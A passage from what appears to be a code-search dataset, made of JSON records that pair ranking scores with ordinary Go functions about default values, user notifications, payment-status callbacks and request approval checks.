GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase MonitoredResourceDescriptor_FieldPathSelectorName:\n\t\treturn (*Name)(nil)\n\tcase MonitoredResourceDescriptor_FieldPathSelectorType:\n\t\treturn \"\"\n\tcase MonitoredResourceDescriptor_FieldPathSelectorDisplayName:\n\t\treturn \"\"\n\tcase MonitoredResourceDescriptor_FieldPathSelectorDescription:\n\t\treturn \"\"\n\tcase MonitoredResourceDescriptor_FieldPathSelectorLabels:\n\t\treturn ([]*monitoring_common.LabelDescriptor)(nil)\n\tcase MonitoredResourceDescriptor_FieldPathSelectorPromotedLabelKeySets:\n\t\treturn ([]*monitoring_common.LabelKeySet)(nil)\n\tcase MonitoredResourceDescriptor_FieldPathSelectorMetadata:\n\t\treturn (*ntt_meta.Meta)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for MonitoredResourceDescriptor: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "8c1d0d7d84dbb29af3f3fab848b9c79c", "score": "0.6337729", "text": "func (m *DeviceManagementConfigurationSimpleSettingDefinition) GetDefaultValue()(DeviceManagementConfigurationSettingValueable) {\n val, err := m.GetBackingStore().Get(\"defaultValue\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(DeviceManagementConfigurationSettingValueable)\n }\n return nil\n}", "title": "" }, { "docid": "e2d21ef936fe82189570de4d3e011b62", "score": "0.63282406", "text": "func (r *Store) GetStringDefault(key string, def string) string {\n\tv := r.GetEntry(key)\n\tif v == nil {\n\t\treturn def\n\t}\n\n\treturn v.StringDefault(def)\n}", "title": "" }, { "docid": "02dbc070cb106a9dbd2b8fc6eac5f1be", "score": "0.63160694", "text": "func (fp *WatchNotificationResponse_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase WatchNotificationResponse_FieldPathSelectorChange:\n\t\treturn (*notification.NotificationChange)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for WatchNotificationResponse: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "36ca45ac56b002d9baa3c9e7f72c15dc", "score": "0.63151413", "text": "func (sf *StringField) DefaultValue() string {\n\treturn sf.defaultValue\n}", "title": "" }, { "docid": "f8024e3cd9dc60b1c905c95770f799d9", "score": "0.6303882", "text": "func (a *InputOption) GetDefault() string {\n\tif a.IsArray() {\n\t\tpanic(errors.New(\"cannot use GetDefault() for InputOption::IS_ARRAY mode, use GetDefaults() instead\"))\n\t}\n\n\treturn a.defaultValue\n}", "title": "" }, { "docid": "d8211f48f6824ea1f1807f142d7c5614", "score": "0.62914604", "text": "func (this *SymfonyRoute) GetDefault(name string) string {\n\tif v, ok := this.defaults[name]; ok {\n\t\treturn v\n\t}\n\treturn \"\"\n}", "title": "" }, { "docid": "a13e71f1e01952af62129284d87e3d24", "score": "0.6287776", "text": "func (o *MicrosoftGraphContract) GetDefaultDomainName() string {\n\tif o == nil || o.DefaultDomainName == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.DefaultDomainName\n}", "title": "" }, { "docid": "7315c2efa5f9d6f68a3ab197366e63a7", "score": "0.62743306", "text": "func (s *MemberService) GetDefault() (*Member, error) {\n\tmember, err := s.Get(0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ts.client.MemberID = member.ID\n\treturn member, nil\n}", "title": "" }, { "docid": "dee8a2ffed5466594cb0d6d77114c7f8", "score": "0.6234435", "text": "func Default() LiteralExpression {\n\treturn literal{literal: \"DEFAULT\"}\n}", "title": "" }, { "docid": "cb2894fd7a7ff1040dc814f1c57acdd5", "score": "0.6224506", "text": "func (m *Contract) GetDefaultDomainName()(*string) {\n val, err := m.GetBackingStore().Get(\"defaultDomainName\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "22ec1923ed1fb9ba3db7277664a62b20", "score": "0.62187886", "text": "func (fp *UpdateMethodDescriptorRequest_FieldTerminalPath) GetDefault() interface{} {\n\tswitch fp.selector {\n\tcase UpdateMethodDescriptorRequest_FieldPathSelectorMethodDescriptor:\n\t\treturn (*method_descriptor.MethodDescriptor)(nil)\n\tcase UpdateMethodDescriptorRequest_FieldPathSelectorUpdateMask:\n\t\treturn (*method_descriptor.MethodDescriptor_FieldMask)(nil)\n\tcase UpdateMethodDescriptorRequest_FieldPathSelectorCas:\n\t\treturn (*UpdateMethodDescriptorRequest_CAS)(nil)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Invalid selector for UpdateMethodDescriptorRequest: %d\", fp.selector))\n\t}\n}", "title": "" }, { "docid": "da4323e7a15590455e6a8420276e3c10", "score": "0.62173045", "text": "func (n *NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix) DefaultMetric() *NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix_DefaultMetric {\n\treturn &NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix_DefaultMetric{\n\t\tNodePath: ygot.NewNodePath(\n\t\t\t[]string{\"default-metric\"},\n\t\t\tmap[string]interface{}{},\n\t\t\tn,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "da4323e7a15590455e6a8420276e3c10", "score": "0.62153494", "text": "func (n *NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix) DefaultMetric() *NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix_DefaultMetric {\n\treturn &NetworkInstance_Protocol_Isis_Level_Lsp_Tlv_Ipv4ExternalReachability_Prefix_DefaultMetric{\n\t\tNodePath: ygot.NewNodePath(\n\t\t\t[]string{\"default-metric\"},\n\t\t\tmap[string]interface{}{},\n\t\t\tn,\n\t\t),\n\t}\n}", "title": "" }, { "docid": "b79fd4142e0984442b3f099436210347", "score": "0.62128425", "text": "func (t *TemplateVariable) GetDefaultOk() (string, bool) {\n\tif t == nil || t.Default == nil {\n\t\treturn \"\", false\n\t}\n\treturn *t.Default, true\n}", "title": "" } ]
e9c2225337cc33402989685db91af504
WantsRequestNotification answers the question "Does the user want notifications for this request?"
[ { "docid": "7d74d507b6c4f200b3bb8fa1f16a04e2", "score": "0.7872933", "text": "func (u *User) WantsRequestNotification(request Request) bool {\n\tif request.CreatedByID == u.ID {\n\t\treturn false\n\t}\n\n\tif u.isNearRequest(request) {\n\t\treturn true\n\t}\n\n\treturn u.hasMatchingWatch(request)\n}", "title": "" } ]
[ { "docid": "bb610b738052c0dacd1bcb6cbee7f444", "score": "0.73454034", "text": "func IsNotificationRequest(esv ESV) bool {\n\tswitch esv {\n\tcase ESVNotificationRequest:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d547068c35753d0699f49dddd805ae61", "score": "0.72331107", "text": "func (r *Request) IsNotification() bool { return r.id == nil }", "title": "" }, { "docid": "56ab9beb58f2426caed20a374c3450db", "score": "0.6680605", "text": "func (r *Request) IsNotify() bool {\n\treturn r.ID == nil\n}", "title": "" }, { "docid": "29969f017d41a9102c9411810d1b4f59", "score": "0.6171067", "text": "func IsNotification(esv ESV) bool {\n\tswitch esv {\n\tcase ESVNotification:\n\t\treturn true\n\tcase ESVNotificationResponseRequired:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "90b1b2f4c93f54821817d0a3fdf47331", "score": "0.60674727", "text": "func IsNotification(flags int) bool {\n\treturn flags&types.MsgNotification > 0\n}", "title": "" }, { "docid": "5c262642c2edca9caff3b4fbc8ff4e23", "score": "0.5999432", "text": "func NotificationActivate(w http.ResponseWriter, r *http.Request) {\n\t// auth\n\tusername, password, err := auth.ParseBasicAuth(r)\n\tif err != nil {\n\t\tlogger.Error(err.Error())\n\t\tapi.Api.BuildErrorResponse(http.StatusUnauthorized, \"wrong auth format\", w)\n\t\treturn\n\t}\n\n\tbeNotified := r.URL.Query().Get(\"be_notified\")\n\tif beNotified == \"\" {\n\t\tapi.Api.BuildMissingParameter(w)\n\t\treturn\n\t}\n\n\tvar msg string\n\tif beNotified == \"true\" {\n\t\tmsg, err = managers.NotificationActivate(username, password, true)\n\t} else if beNotified == \"false\" {\n\t\tmsg, err = managers.NotificationActivate(username, password, false)\n\t} else {\n\t\tapi.Api.BuildErrorResponse(http.StatusBadRequest, \"invalid parameter value\", w)\n\t\treturn\n\t}\n\n\tif err != nil {\n\t\tapi.Api.BuildErrorResponse(http.StatusInternalServerError, msg, w)\n\t\treturn\n\t}\n\n\tapi.Api.BuildJsonResponse(true, \"notification settings changed\", nil, w)\n}", "title": "" }, { "docid": "df7e965f6d2c1880aee680af0be20611", "score": "0.5892575", "text": "func IsNotificationResponse(esv ESV) bool {\n\tswitch esv {\n\tcase ESVNotificationResponse:\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e25fc62e3a0720d41fd68168a9f0b421", "score": "0.5575392", "text": "func (s NotificationService) RequestPermission() NotificationPermission {\n\tnotification := Window().Get(\"Notification\")\n\tif !notification.Truthy() {\n\t\treturn NotificationNotSupported\n\t}\n\n\tpermission := make(chan string, 1)\n\tdefer close(permission)\n\n\tnotification.Call(\"requestPermission\").Then(func(v Value) {\n\t\tpermission <- v.String()\n\t})\n\n\treturn NotificationPermission(<-permission)\n}", "title": "" }, { "docid": "4d1ed2bd76a8cbdc7dad3a12defa1332", "score": "0.5419129", "text": "func (n *NotifierBase) ShouldNotify(_ context.Context, evalCtx *alerting.EvalContext, state *models.SAlertnotification) bool {\n\tprevState := evalCtx.PrevAlertState\n\tnewState := evalCtx.Rule.State\n\n\t//Do not notify if alert state is no_data\n\tif newState == monitor.AlertStateNoData {\n\t\treturn false\n\t}\n\n\tif newState == monitor.AlertStateAlerting {\n\t\treturn true\n\t}\n\n\t// Only notify on state change\n\tif prevState == newState && !n.SendReminder {\n\t\treturn false\n\t}\n\n\tif prevState == newState && n.SendReminder {\n\t\t// Do not notify if interval has not elapsed\n\t\tlastNotify := state.UpdatedAt\n\t\t// if state.UpdatedAt != 0 && lastNotify.Add(n.Frequency).After(time.Now()) {\n\t\tif lastNotify.Add(n.Frequency).After(time.Now()) {\n\t\t\treturn false\n\t\t}\n\n\t\t// Do not notify if alert state is OK or pending even on repeated notify\n\t\tif newState == monitor.AlertStateOK || newState == monitor.AlertStatePending {\n\t\t\treturn false\n\t\t}\n\t}\n\n\tokOrPending := newState == monitor.AlertStatePending || newState == monitor.AlertStateOK\n\n\t// Do not notify when new state is ok/pending when previous is unknown\n\tif prevState == monitor.AlertStateUnknown && okOrPending {\n\t\treturn false\n\t}\n\n\t// Do not notify when we become Pending for the first\n\tif prevState == monitor.AlertStatePending && newState == monitor.AlertStatePending {\n\t\treturn false\n\t}\n\n\t// Do not notify when we become OK from pending\n\tif prevState == monitor.AlertStatePending && newState == monitor.AlertStateOK {\n\t\treturn false\n\t}\n\n\t// Do not notify when we OK -> Pending\n\tif prevState == monitor.AlertStateOK && newState == monitor.AlertStatePending {\n\t\treturn false\n\t}\n\n\t// Do not notify if state pending and it have been updated last minute\n\tif state.GetState() == monitor.AlertNotificationStatePending {\n\t\tlastUpdated := state.UpdatedAt\n\t\tif lastUpdated.Add(1 * time.Minute).After(time.Now()) {\n\t\t\treturn false\n\t\t}\n\t}\n\n\t// Do not notify when state is OK if DisableResolveMessage is set to true\n\tif newState == monitor.AlertStateOK && n.DisableResolveMessage {\n\t\treturn false\n\t}\n\n\treturn true\n}", "title": "" }, { "docid": "3d5d279454fc7c834497db851b395bbf", "score": "0.5417946", "text": "func CanSendNotify(ctx context.Context, client bot.Client, logger log.Logger, repository model.Repository, incident model.Incident) bool {\n\tlogger.Info(\n\t\tctx,\n\t\tlog.Trace(),\n\t\tlog.Action(\"running\"),\n\t\tlog.NewValue(\"channelID\", incident.ChannelId),\n\t\tlog.NewValue(\"channelName\", incident.ChannelName),\n\t)\n\n\trules := notifyRules{\n\t\tsnoozedUntil: hasSnoozedUntil(ctx, logger, incident),\n\t\tlastPin: hasLastPin(ctx, client, logger, incident),\n\t\tslaClose: hasSLAClose(ctx, client, logger, incident),\n\t\tstatus: incident.Status,\n\t}\n\n\treturn rules.checkRules()\n}", "title": "" }, { "docid": "8fef1cabaebcafc3e274503789e9ae00", "score": "0.5396563", "text": "func Notification(method string, args ...interface{}) ([]byte, *ErrorObj) {\n\treturn Request(nil, method, args...)\n}", "title": "" }, { "docid": "f8c787f15e878537511a88fded8fc40b", "score": "0.5342182", "text": "func (*NullNotifier) NotifyPullRequestReviewRequest(ctx context.Context, doer *user_model.User, issue *issues_model.Issue, reviewer *user_model.User, isRequest bool, comment *issues_model.Comment) {\n}", "title": "" }, { "docid": "99c50d32ccd925373334fbf574a2572c", "score": "0.53251", "text": "func (m *AdminConsentRequestPolicy) GetNotifyReviewers()(*bool) {\n return m.notifyReviewers\n}", "title": "" }, { "docid": "44e87b70dd8ef38c96fdab60c57ac7bf", "score": "0.52685875", "text": "func RemindAwaiting(w http.ResponseWriter, r *http.Request) {\n threadId := GetThreadId()\n if threadId == \"\" {\n w.Write([]byte(\"There is currently no open checkin session, try again later ;)\"))\n }\n\n RemindCheckin()\n w.Write([]byte(fmt.Sprintf(\"Users have been notified%s\", CUSTOM_ADMIN_APPENDIX)))\n}", "title": "" }, { "docid": "5dbc2c27d191b19c2d9a47909aede025", "score": "0.5243731", "text": "func (*Notifier) Notify(content Content, deadline time.Time) {\n\taddNotificationRequest()\n}", "title": "" }, { "docid": "52895be85233fcee00471fdf81e04cf1", "score": "0.5241574", "text": "func (mn MockNotifier) NotifyWithRequest(err interface{}, req *http.Request) error {\n\tmn <- MockNotification{Err: err, Req: req}\n\treturn nil\n}", "title": "" }, { "docid": "87e66bf58337fdc183dffc83346ba729", "score": "0.52264506", "text": "func patchUserNotifySettings(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json;charset=utf-8\")\n\tc, err := authUser(newContext(r), r.Header.Get(\"authorization\"))\n\tif err != nil {\n\t\twriteJSONError(c, w, errStatus(err), err)\n\t\treturn\n\t}\n\n\t// decode request payload into a flexible map\n\tvar body map[string]interface{}\n\tif err := json.NewDecoder(r.Body).Decode(&body); err != nil {\n\t\twriteJSONError(c, w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tvar data *userPush\n\tterr := runInTransaction(c, func(c context.Context) error {\n\t\t// get current settings\n\t\tdata, err = getUserPushInfo(c, contextUser(c))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// patch settings according to the payload\n\t\tif v, ok := body[\"notify\"].(bool); ok {\n\t\t\tdata.Enabled = v\n\t\t}\n\t\tif v, ok := body[\"iostart\"].(bool); ok {\n\t\t\tdata.IOStart = v\n\t\t}\n\t\tif v, ok := body[\"ioext\"]; ok {\n\t\t\tif v == nil {\n\t\t\t\tdata.Ext.Enabled = false\n\t\t\t\tdata.Pext = nil\n\t\t\t} else if v, ok := v.(map[string]interface{}); ok {\n\t\t\t\tdata.Ext.Enabled = true\n\t\t\t\tdata.Ext.Name, _ = v[\"name\"].(string)\n\t\t\t\tdata.Ext.Lat, _ = v[\"lat\"].(float64)\n\t\t\t\tdata.Ext.Lng, _ = v[\"lng\"].(float64)\n\t\t\t\tdata.Pext = &data.Ext\n\t\t\t}\n\t\t}\n\t\tregid, _ := body[\"subscriber\"].(string)\n\t\tendpoint, _ := body[\"endpoint\"].(string)\n\t\tendpoint = pushEndpointURL(regid, endpoint)\n\t\tif endpoint == config.Google.GCM.Endpoint {\n\t\t\treturn &apiError{msg: \"invalid endpoint\", code: http.StatusBadRequest}\n\t\t}\n\t\tvar exists bool\n\t\tfor _, e := range data.Endpoints {\n\t\t\tif e == endpoint {\n\t\t\t\texists = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !exists && endpoint != \"\" {\n\t\t\tdata.Endpoints = append(data.Endpoints, endpoint)\n\t\t}\n\n\t\t// store user configuration\n\t\treturn storeUserPushInfo(c, data)\n\t})\n\n\tif terr != nil {\n\t\twriteJSONError(c, w, errStatus(terr), err)\n\t\treturn\n\t}\n\tjson.NewEncoder(w).Encode(data)\n}", "title": "" }, { "docid": "af7b62cd5085e9f1ef03deb2da88c0d7", "score": "0.5216416", "text": "func IsClusterNotification(r *http.Request) bool {\n\treturn r.Header.Get(\"User-Agent\") == \"cluster-notifier\"\n}", "title": "" }, { "docid": "c28780959e2bcab9ae356492e40ebba1", "score": "0.52029943", "text": "func (w *Window) RequestAttention() {\n\tC.glfwRequestWindowAttention(w.data)\n}", "title": "" }, { "docid": "a671a418df75a345952b949107a17499", "score": "0.51942575", "text": "func sendNotification(config *configuration) (bool) {\n\thour := time.Now().Hour() * 100\n\tnow := hour + time.Now().Minute()\n\tfor _, moment := range config.Ignore {\n\t\tif now >= moment.From && now <= moment.To {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "d2fc719a5052c6880460dc4497dc5d9e", "score": "0.5179952", "text": "func (m *Message) IsRequest() bool {\n\treturn (m.Flags & MsgFlagRequest) != 0\n}", "title": "" }, { "docid": "b57a12d4d4ace692e8785b0775a8fa57", "score": "0.5171757", "text": "func (c *ChatInvite) GetRequestNeeded() (value bool) {\n\tif c == nil {\n\t\treturn\n\t}\n\treturn c.Flags.Has(6)\n}", "title": "" }, { "docid": "779854ab9c2bd8f02eaccaea2599cb15", "score": "0.51498866", "text": "func (m *EmailThreatSubmissionPolicy) GetIsCustomizedNotificationSenderEnabled()(*bool) {\n val, err := m.GetBackingStore().Get(\"isCustomizedNotificationSenderEnabled\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "f30dac337693f7bbd123d1404e4311c6", "score": "0.51443434", "text": "func (me TxsdParamdefChoice) IsReq() bool { return me == \"req\" }", "title": "" }, { "docid": "b7958ce0f886b1e4132ab03a1f14d189", "score": "0.514278", "text": "func (m *AdminConsentRequestPolicy) GetRemindersEnabled()(*bool) {\n return m.remindersEnabled\n}", "title": "" }, { "docid": "5681d5c3973f11c78f84e827dc245fcf", "score": "0.5124114", "text": "func (in *InitIn) SupportsNotify(notifyType int) bool {\n\tswitch notifyType {\n\tcase NOTIFY_INVAL_ENTRY:\n\t\treturn in.SupportsVersion(7, 12)\n\tcase NOTIFY_INVAL_INODE:\n\t\treturn in.SupportsVersion(7, 12)\n\tcase NOTIFY_STORE_CACHE, NOTIFY_RETRIEVE_CACHE:\n\t\treturn in.SupportsVersion(7, 15)\n\tcase NOTIFY_DELETE:\n\t\treturn in.SupportsVersion(7, 18)\n\t}\n\treturn false\n}", "title": "" }, { "docid": "dae5e61ca24c5e88cfbe87e94e34e310", "score": "0.5120247", "text": "func (o *NotificationsResponse) HasNotifications() bool {\n\tif o != nil && o.Notifications != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "766fbf60510f8c5c072e8c0a1beddef6", "score": "0.5119174", "text": "func (v *ReapplyEventsRequest) IsSetRequest() bool {\n\treturn v != nil && v.Request != nil\n}", "title": "" }, { "docid": "8c4b045388dfeeb96c16939fb2aebeae", "score": "0.5045633", "text": "func (r *Registry) gossipNotification(s string, value roachpb.Value) {\n\tif s != gossip.KeyGossipStatementDiagnosticsRequest {\n\t\t// We don't expect any other notifications. Perhaps in a future version we\n\t\t// added other keys with the same prefix.\n\t\treturn\n\t}\n\tselect {\n\tcase r.gossipUpdateChan <- RequestID(binary.LittleEndian.Uint64(value.RawBytes)):\n\tdefault:\n\t\t// Don't pile up on these requests and don't block gossip.\n\t}\n}", "title": "" }, { "docid": "184f03de7c2169276c1033537ed2bdf6", "score": "0.504268", "text": "func (o *InlineObject7) GetDoNotNotifyOk() (*bool, bool) {\n\tif o == nil || o.DoNotNotify == nil {\n\t\treturn nil, false\n\t}\n\treturn o.DoNotNotify, true\n}", "title": "" }, { "docid": "0324f2da9c4d803142d5410a02ec1709", "score": "0.5025135", "text": "func (d *Dota2) RequestNotifications(\n\tctx context.Context,\n) (*protocol.CMsgGCNotificationsResponse, error) {\n\treq := &protocol.CMsgGCNotificationsRequest{}\n\tresp := &protocol.CMsgGCNotificationsResponse{}\n\n\treturn resp, d.MakeRequest(\n\t\tctx,\n\t\tuint32(protocol.EDOTAGCMsg_k_EMsgGCNotificationsRequest),\n\t\treq,\n\t\tuint32(protocol.EDOTAGCMsg_k_EMsgGCNotificationsResponse),\n\t\tresp,\n\t)\n}", "title": "" }, { "docid": "a55a9bb14079d82780f1726556563974", "score": "0.50169295", "text": "func (o *InlineObject7) HasDoNotNotify() bool {\n\tif o != nil && o.DoNotNotify != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "bc1c99deb361df1021b4d2df4225d6d2", "score": "0.50128394", "text": "func getNotifications(c *gin.Context) {\n\tprofessional, err := getProfessionalFromSession(c)\n\tif err != nil {\n\t\tc.JSON(http.StatusForbidden, gin.H{\"error\": \"Not authenticated\"})\n\t} else {\n\t\t//Get professional notifications\n\t\tnotifications, err := professional.getNotifications()\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Something went wrong\"})\n\t\t\treturn\n\t\t}\n\t\t//Set the new notifications to seen\n\t\terr = professional.clearNotifications()\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\"error\": \"Something went wrong\"})\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusAccepted, gin.H{\"notifications\": notifications})\n\t}\n}", "title": "" }, { "docid": "77ffe41a571cfbbb5b899b531b246b74", "score": "0.49916622", "text": "func (sr *Requirements) Needed(request xrdproto.Request) bool {\n\tv, exist := sr.requirements[request.ReqID()]\n\tif !exist || v == xrdproto.SignNone {\n\t\treturn false\n\t}\n\tif v == xrdproto.SignLikely && !request.ShouldSign() {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "0751da492e1fec45f81391c099ecd044", "score": "0.49910146", "text": "func (m *EmailThreatSubmissionPolicy) GetIsReviewEmailNotificationEnabled()(*bool) {\n val, err := m.GetBackingStore().Get(\"isReviewEmailNotificationEnabled\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "1949222f156c6fd6d70603bff1b721ad", "score": "0.4990257", "text": "func (m *AdminConsentRequestPolicy) SetNotifyReviewers(value *bool)() {\n m.notifyReviewers = value\n}", "title": "" }, { "docid": "5fe37f4c69ae3942c72f46e71b56a730", "score": "0.49838254", "text": "func notify(pushOverApp *pushover.Pushover, pushoverUserToken, pretalxURL string, messages []string) (response *pushover.Response, err error) {\n\ttitle := fmt.Sprintf(\"PreTalx: Changed submissions detected\")\n\tmessage := strings.Join(messages, \"\\n\")\n\trecipient := pushover.NewRecipient(pushoverUserToken)\n\n\t// remove the API part from the URL\n\tr := regexp.MustCompile(`(.*).*/.*/.*/.+/?`)\n\turl := r.FindString(pretalxURL)\n\n\t// strip the message if it is longer than 1k characters (limit of pushover)\n\tif len(message) > 1024 {\n\t\tmessage = message[:1020] + \"...\"\n\t}\n\n\tmessageObject := &pushover.Message{\n\t\tMessage: message,\n\t\tTitle: title,\n\t\tURL: url,\n\t\tURLTitle: \"PreTalx\",\n\t\tTimestamp: time.Now().Unix(),\n\t\tRetry: 60 * time.Second,\n\t\tDeviceName: \"PreTalx-Notifier\",\n\t\tSound: pushover.SoundCosmic,\n\t}\n\tresponse, err = pushOverApp.SendMessage(messageObject, recipient)\n\treturn\n}", "title": "" }, { "docid": "83fe5e81867acedb484ef134d68c1d06", "score": "0.49784312", "text": "func notification(w http.ResponseWriter, r *http.Request) {\n\t// 1. Initialize empty map\n\tvar notificationPayload map[string]interface{}\n\n\t// 2. Parse JSON request body and use it to set json to payload\n\terr := json.NewDecoder(r.Body).Decode(&notificationPayload)\n\tif err != nil {\n\t\t// do something on error when decode\n\t\treturn\n\t}\n\t// 3. Get order-id from payload\n\torderId, exists := notificationPayload[\"order_id\"].(string)\n\tif !exists {\n\t\t// do something when key `order_id` not found\n\t\treturn\n\t}\n\n\t// 4. Check transaction to Midtrans with param orderId\n\ttransactionStatusResp, e := c.CheckTransaction(orderId)\n\tif e != nil {\n\t\thttp.Error(w, e.GetMessage(), http.StatusInternalServerError)\n\t\treturn\n\t} else {\n\t\tif transactionStatusResp != nil {\n\t\t\t// 5. Do set transaction status based on response from check transaction status\n\t\t\tif transactionStatusResp.TransactionStatus == \"capture\" {\n\t\t\t\tif transactionStatusResp.FraudStatus == \"challenge\" {\n\t\t\t\t\t// TODO set transaction status on your database to 'challenge'\n\t\t\t\t\t// e.g: 'Payment status challenged. Please take action on your Merchant Administration Portal\n\t\t\t\t} else if transactionStatusResp.FraudStatus == \"accept\" {\n\t\t\t\t\t// TODO set transaction status on your database to 'success'\n\t\t\t\t}\n\t\t\t} else if transactionStatusResp.TransactionStatus == \"settlement\" {\n\t\t\t\t// TODO set transaction status on your databaase to 'success'\n\t\t\t} else if transactionStatusResp.TransactionStatus == \"deny\" {\n\t\t\t\t// TODO you can ignore 'deny', because most of the time it allows payment retries\n\t\t\t\t// and later can become success\n\t\t\t} else if transactionStatusResp.TransactionStatus == \"cancel\" || transactionStatusResp.TransactionStatus == \"expire\" {\n\t\t\t\t// TODO set transaction status on your databaase to 'failure'\n\t\t\t} else if transactionStatusResp.TransactionStatus == \"pending\" {\n\t\t\t\t// TODO set transaction status on your databaase to 'pending' / waiting payment\n\t\t\t}\n\t\t}\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Write([]byte(\"ok\"))\n}", "title": "" }, { "docid": "fb1723922141e0caf738cdd9ecc24388", "score": "0.49703333", "text": "func notificationResponse(s *servicers.EapAkaSrv, ctx *protos.Context, req eap.Packet) (eap.Packet, error) {\n\tvar (\n\t\tsid string\n\t\tresultErr error\n\t\terrorCode int\n\t)\n\tmetrics.PeerNotification.Inc()\n\tif ctx == nil || len(ctx.SessionId) == 0 {\n\t\tglog.Warning(\"Missing CTX/Empty Session ID in AKA-Notification\")\n\t} else {\n\t\tsid = ctx.SessionId\n\t}\n\tif len(req) >= 12 {\n\t\tscanner, err := eap.NewAttributeScanner(req)\n\t\tif err != nil {\n\t\t\tresultErr = fmt.Errorf(\"Malformed Session AKA-Notification for session ID %s: %x\", sid, req)\n\t\t} else {\n\t\t\tvar a eap.Attribute\n\t\t\tfor a, err = scanner.Next(); err == nil; a, err = scanner.Next() {\n\t\t\t\tif a.Type() == aka.AT_NOTIFICATION {\n\t\t\t\t\tcb := a.Value()\n\t\t\t\t\tif len(cb) >= 2 {\n\t\t\t\t\t\tif cb[0]&0x80 != 0 { // check S bit, it must be zero on error\n\t\t\t\t\t\t\terrorCode = int((uint16(cb[1]) << 8) + uint16(cb[0]))\n\t\t\t\t\t\t\tresultErr = fmt.Errorf(\"AKA-Notification S bit is set for Session ID: %s, code: %d\",\n\t\t\t\t\t\t\t\tsid, errorCode)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tresultErr = fmt.Errorf(\"AKA-Notification Packet for Session ID %s does not include AT_NOTIFICATION\",\n\t\t\t\t\tsid)\n\t\t\t}\n\t\t}\n\t}\n\tif resultErr != nil {\n\t\tglog.Warning(resultErr)\n\t}\n\treturn peerFailure(s, sid, req.Identifier(), errorCode), nil\n}", "title": "" }, { "docid": "b4483bf0ae6e25f526076708822c89ec", "score": "0.49572855", "text": "func (o *PostPagesPageIdSubscribersSubscriber) HasSkipConfirmationNotification() bool {\n\tif o != nil && o.SkipConfirmationNotification != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "d71ddebaac73e8db20e76a111be28b94", "score": "0.49536836", "text": "func ProvePendingRequest(request regources.ReviewableRequest, asset string, neededRequestTypes ...int32) string {\n\tif request.State != RequestStatePending {\n\t\t// State is not pending\n\t\treturn fmt.Sprintf(\"Invalid Request State (%d) expected Pending(%d).\", request.State, RequestStatePending)\n\t}\n\n\tvar isTypeAppropriate bool\n\tfor _, neededRequestType := range neededRequestTypes {\n\t\tif request.Details.RequestType == neededRequestType {\n\t\t\tisTypeAppropriate = true\n\t\t}\n\t}\n\tif !isTypeAppropriate {\n\t\treturn fmt.Sprintf(\"Invalid RequestType (%d) expected (%v).\", request.Details.RequestType, neededRequestTypes)\n\t}\n\n\tvar destAsset string\n\tif request.Details.TwoStepWithdraw != nil {\n\t\tdestAsset = request.Details.TwoStepWithdraw.DestAssetCode\n\t}\n\tif request.Details.Withdraw != nil {\n\t\tdestAsset = request.Details.Withdraw.DestAssetCode\n\t}\n\t// TODO If not Withdraw and not TSW - consider returning specific error (switch request.Details.RequestType)\n\n\tif destAsset != asset {\n\t\t// Withdraw not to BTC.\n\t\treturn fmt.Sprintf(\"Wrong DestintationAsset (%s) expected (%s).\", destAsset, asset)\n\t}\n\n\treturn \"\"\n}", "title": "" }, { "docid": "66ea62b52fcee9e3cd46bec857f2799e", "score": "0.49527022", "text": "func sendNotification(n notifier) {\n\tn.notify()\n\n}", "title": "" }, { "docid": "653a495c1184b20a6779a87bcb7f244f", "score": "0.49303412", "text": "func (state PermissionState) IsGranted() bool {\n return state == PermissionGranted\n}", "title": "" }, { "docid": "415584180c6407dd2fdaba5b283017c9", "score": "0.49173912", "text": "func (m *AccessPackageAssignmentRequestRequirements) GetIsApprovalRequiredForUpdate()(*bool) {\n val, err := m.GetBackingStore().Get(\"isApprovalRequiredForUpdate\")\n if err != nil {\n panic(err)\n }\n 